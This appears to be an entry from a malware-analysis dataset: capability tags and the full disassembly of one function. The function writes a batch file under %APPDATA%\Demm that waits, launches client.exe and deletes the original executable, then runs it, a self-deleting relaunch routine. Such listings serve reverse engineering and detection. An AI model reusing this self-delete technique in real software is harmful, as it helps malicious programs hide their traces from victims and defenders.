Function at 0x4073a0
Capabilities:
Create process on windows
Self delete
Set current directory
Terminate thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426b5b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x88
mov eax, dword [0x433060]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x435f50]
test eax, eax
jne 0x40741c
push 0x10
call fcn.0040c59f
add esp, 4
test eax, eax
je 0x407415
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
jmp 0x407417
xor eax, eax
mov dword [0x435f50], eax
mov esi, dword [eax + 4]
test esi, esi
je 0x40743c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
call fcn.0040c474
add esp, 4
mov edi, eax
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push edi
call fcn.0040c7c9
add esp, 0x10
lea ecx, [edi - 1]
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x407470
mov eax, dword [str.launch.bat]
mov dword [ecx], eax
mov eax, dword [0x42ee28]
mov dword [ecx + 4], eax
mov ax, word [0x42ee2c]
mov word [ecx + 8], ax
mov al, byte [0x42ee2e]
push 0x400
mov byte [ecx + 0xa], al
call fcn.0040c474
add esp, 4
mov esi, eax
mov dword [ebp - 0x74], esi
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4074d1
mov eax, dword [str.client.exe]
mov dword [ecx], eax
mov eax, dword [0x42ee1c]
mov dword [ecx + 4], eax
mov ax, word [0x42ee20]
mov word [ecx + 8], ax
mov al, byte [0x42ee22]
push 0x400
mov byte [ecx + 0xa], al
call fcn.0040c474
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0xf
mov dword [ebp - 0x7c], 0
mov byte [ebp - 0x8c], 0
cmp byte [edx], 0
jne 0x407554
xor ecx, ecx
jmp 0x407569
mov ecx, edx
lea esi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407560
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x8c]
call fcn.004016b0
lea ecx, [ebp - 0x8c]
mov dword [ebp - 4], 0
call fcn.004072e0
cmp dword [ebp - 0x78], 0x10
jb 0x40759c
push dword [ebp - 0x8c]
call fcn.00401ba0
add esp, 4
push 0x42ef20
push edi
call fcn.0040d438
mov esi, eax
add esp, 8
test esi, esi
je 0x40764c
push str.ping__n_2_127.0.0.1___nul_n
push esi
call fcn.0040d452
push dword [ebp - 0x74]
push str.start______s__n
push esi
call fcn.0040d452
add esp, 0x14
push edi
push str.del___s__n
push esi
call fcn.0040d452
add esp, 0xc
push esi
call fcn.0040d68d
add esp, 4
lea eax, [ebp - 0x60]
xorps xmm0, xmm0
movdqa xmmword [ebp - 0x70], xmm0
push 0x44
push 0
push eax
call fcn.00414f70
add esp, 0xc
mov dword [ebp - 0x60], 0x44
xor eax, eax
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], ax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x70]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x6c]
call esi
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040be14
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret